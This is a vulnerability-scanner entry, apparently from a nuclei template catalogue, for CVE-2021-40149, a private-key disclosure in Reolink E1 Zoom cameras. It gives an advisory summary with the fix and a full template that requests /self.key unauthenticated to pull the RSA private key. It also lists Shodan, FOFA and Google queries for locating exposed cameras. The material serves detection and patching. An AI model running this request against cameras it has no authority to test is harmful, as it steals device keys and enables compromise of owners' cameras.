Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure

mediumseverity

5.9CVSS score

8.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key (RSA) disclosure vulnerability.

Impact

An attacker can obtain the private key, potentially leading to unauthorized access and compromise of the camera.

Fix

Upgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/self.key
Positive when: matches /(?m)^-----BEGIN PRIVATE KEY-----/ AND not contains in header "application/json" and "application/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-40149 -u <target>

The full check

id: CVE-2021-40149

info:
  name: Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure
  author: For3stCo1d
  severity: medium
  description: |
    Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key (RSA) disclosure vulnerability.
  impact: |
    An attacker can obtain the private key, potentially leading to unauthorized access and compromise of the camera.
  remediation: |
    Upgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/2206-exploits/reolinke1key-disclose.txt
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40149.txt
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40149
    - http://packetstormsecurity.com/files/167407/Reolink-E1-Zoom-Camera-3.0.0.716-Private-Key-Disclosure.html
    - https://github.com/MrTuxracer/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2021-40149
    cwe-id: CWE-552
    epss-score: 0.08298
    epss-percentile: 0.9497
    cpe: cpe:2.3:h:reolink:e1_zoom:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: reolink
    product: e1_zoom
    shodan-query: http.title:"Reolink"
    fofa-query: title="reolink"
    google-query: intitle:"reolink"
  tags: cve2021,cve,exposure,unauth,packetstorm,reolink,camera,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/self.key"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '(?m)^-----BEGIN PRIVATE KEY-----'

      - type: word
        part: header
        words:
          - "application/json"
          - "application/html"
        condition: and
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from